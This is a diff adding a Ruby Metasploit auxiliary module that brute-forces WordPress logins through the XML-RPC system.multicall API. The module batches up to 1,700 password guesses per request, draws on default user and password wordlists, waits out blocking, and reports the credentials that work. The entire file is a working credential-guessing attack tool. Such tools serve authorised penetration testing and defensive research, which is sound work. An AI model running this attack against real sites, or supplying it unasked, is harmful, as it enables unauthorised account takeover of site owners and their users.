|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'metasploit/framework/credential_collection' |
| 8 | +require 'metasploit/framework/login_scanner/wordpress_multicall' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Auxiliary |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HTTP::Wordpress |
| 13 | + include Msf::Auxiliary::Scanner |
| 14 | + include Msf::Auxiliary::AuthBrute |
| 15 | + include Msf::Auxiliary::Report |
| 16 | + |
| 17 | + def initialize(info = {}) |
| 18 | + super(update_info(info, |
| 19 | + 'Name' => 'Wordpress XML-RPC system.multicall Credential Collector', |
| 20 | + 'Description' => %q{ |
| 21 | + This module attempts to find Wordpress credentials by abusing the XMLRPC |
| 22 | + APIs. Wordpress versions prior to 4.4.1 are suitable for this type of |
| 23 | + technique. For newer versions, the script will drop the CHUNKSIZE to 1 automatically. |
| 24 | + }, |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'KingSabri <King.Sabri[at]gmail.com>' , |
| 28 | + 'William <WCoppola[at]Lares.com>', |
| 29 | + 'sinn3r' |
| 30 | + ], |
| 31 | + 'License' => MSF_LICENSE, |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/' ], |
| 35 | + ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html' ] |
| 36 | + ], |
| 37 | + 'DefaultOptions' => |
| 38 | + { |
| 39 | + 'USER_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt"), |
| 40 | + 'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") |
| 41 | + } |
| 42 | + )) |
| 43 | + |
| 44 | + register_options( |
| 45 | + [ |
| 46 | + OptInt.new('BLOCKEDWAIT', [ true, 'Time(minutes) to wait if got blocked', 6 ]), |
| 47 | + OptInt.new('CHUNKSIZE', [ true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500 ]), |
| 48 | + ], self.class) |
| 49 | + |
| 50 | + # Not supporting these options, because we are not actually letting the API to process the |
| 51 | + # password list for us. We are doing that in Metasploit::Framework::LoginScanner::WordpressRPC. |
| 52 | + deregister_options( |
| 53 | + 'BLANK_PASSWORDS', 'PASSWORD', 'USERPASS_FILE', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_PASS' |
| 54 | + ) |
| 55 | + end |
| 56 | + |
| 57 | + def passwords |
| 58 | + File.readlines(datastore['PASS_FILE']).lazy.map {|pass| pass.chomp} |
| 59 | + end |
| 60 | + |
| 61 | + def check_options |
| 62 | + if datastore['CHUNKSIZE'] > 1700 |
| 63 | + fail_with(Failure::BadConfig, 'Option CHUNKSIZE cannot be larger than 1700') |
| 64 | + end |
| 65 | + end |
| 66 | + |
| 67 | + def setup |
| 68 | + check_options |
| 69 | + end |
| 70 | + |
| 71 | + def check_setup |
| 72 | + version = wordpress_version |
| 73 | + vprint_status("Found Wordpress version: #{version}") |
| 74 | + |
| 75 | + if !wordpress_and_online? |
| 76 | + print_error("#{peer}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)") |
| 77 | + false |
| 78 | + elsif !wordpress_xmlrpc_enabled? |
| 79 | + print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC") |
| 80 | + false |
| 81 | + elsif Gem::Version.new(version) >= Gem::Version.new('4.4.1') |
| 82 | + print_error("#{peer}#{wordpress_url_xmlrpc} Target's version (#{version}) is not vulnerable to this attack.") |
| 83 | + vprint_status("Dropping CHUNKSIZE from #{datastore['CHUNKSIZE']} to 1") |
| 84 | + datastore['CHUNKSIZE'] = 1 |
| 85 | + true |
| 86 | + else |
| 87 | + print_status("Target #{peer} is running Wordpress") |
| 88 | + true |
| 89 | + end |
| 90 | + end |
| 91 | + |
| 92 | + def run_host(ip) |
| 93 | + if check_setup |
| 94 | + print_status("XMLRPC enabled, Hello message received!") |
| 95 | + else |
| 96 | + print_error("Abborting the attack.") |
| 97 | + return |
| 98 | + end |
| 99 | + |
| 100 | + print_status("#{peer} - Starting XML-RPC login sweep...") |
| 101 | + |
| 102 | + cred_collection = Metasploit::Framework::CredentialCollection.new( |
| 103 | + blank_passwords: true, |
| 104 | + user_file: datastore['USER_FILE'], |
| 105 | + username: datastore['USERNAME'] |
| 106 | + ) |
| 107 | + |
| 108 | + scanner = Metasploit::Framework::LoginScanner::WordpressMulticall.new( |
| 109 | + configure_http_login_scanner( |
| 110 | + passwords: passwords, |
| 111 | + chunk_size: datastore['CHUNKSIZE'], |
| 112 | + block_wait: datastore['BLOCKEDWAIT'], |
| 113 | + base_uri: target_uri.path, |
| 114 | + uri: wordpress_url_xmlrpc, |
| 115 | + cred_details: cred_collection, |
| 116 | + stop_on_success: datastore['STOP_ON_SUCCESS'], |
| 117 | + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], |
| 118 | + connection_timeout: 5, |
| 119 | + ) |
| 120 | + ) |
| 121 | + |
| 122 | + scanner.scan! do |result| |
| 123 | + credential_data = result.to_h |
| 124 | + credential_data.merge!( |
| 125 | + module_fullname: self.fullname, |
| 126 | + workspace_id: myworkspace_id |
| 127 | + ) |
| 128 | + |
| 129 | + case result.status |
| 130 | + when Metasploit::Model::Login::Status::SUCCESSFUL |
| 131 | + print_brute :level => :vgood, :ip => ip, :msg => "SUCCESSFUL: #{result.credential}" |
| 132 | + end |
| 133 | + end |
| 134 | + |
| 135 | + end |
| 136 | + |
| 137 | +end |
0 commit comments